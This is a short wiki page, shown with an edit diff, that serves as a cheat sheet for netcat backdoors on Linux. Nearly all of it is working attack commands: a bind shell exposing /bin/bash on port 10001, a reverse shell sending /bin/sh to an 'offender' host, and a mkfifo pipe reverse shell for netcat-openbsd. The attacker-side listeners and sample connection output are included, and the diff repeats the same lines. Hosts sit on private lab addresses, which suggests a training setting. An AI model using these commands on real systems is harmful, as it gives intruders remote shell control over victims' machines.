Netcat Backdoor Linux: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt) | |||
| Zeile 14: | Zeile 14: | ||
==with netcat-openbsd== | ==with netcat-openbsd== | ||
| − | VICTIM=10. | + | VICTIM=10.0.10.104 |
| − | OFFENDER=10. | + | OFFENDER=10.0.10.101 |
*root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER 8668 1>/tmp/bp | *root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER 8668 1>/tmp/bp | ||
| − | *root@offender:~# nc - | + | *root@offender:~# nc -lp 8668 |
listening on [any] 8668 ... | listening on [any] 8668 ... | ||
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154 | connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154 | ||
Aktuelle Version vom 6. August 2025, 10:43 Uhr
Linux
with netcat-traditional
- bind_tcp
- root@victim:~# apt-get install netcat-traditional
- root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
- root@offender:~# netcat 10.0.10.104 10001
with netcat-traditional
- reverse_tcp
- root@offender:~# netcat -l -p 10002
- root@victim:~# apt-get install netcat-traditional
- root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002
with netcat-openbsd
VICTIM=10.0.10.104 OFFENDER=10.0.10.101
- root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER 8668 1>/tmp/bp
- root@offender:~# nc -lp 8668
listening on [any] 8668 ... connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154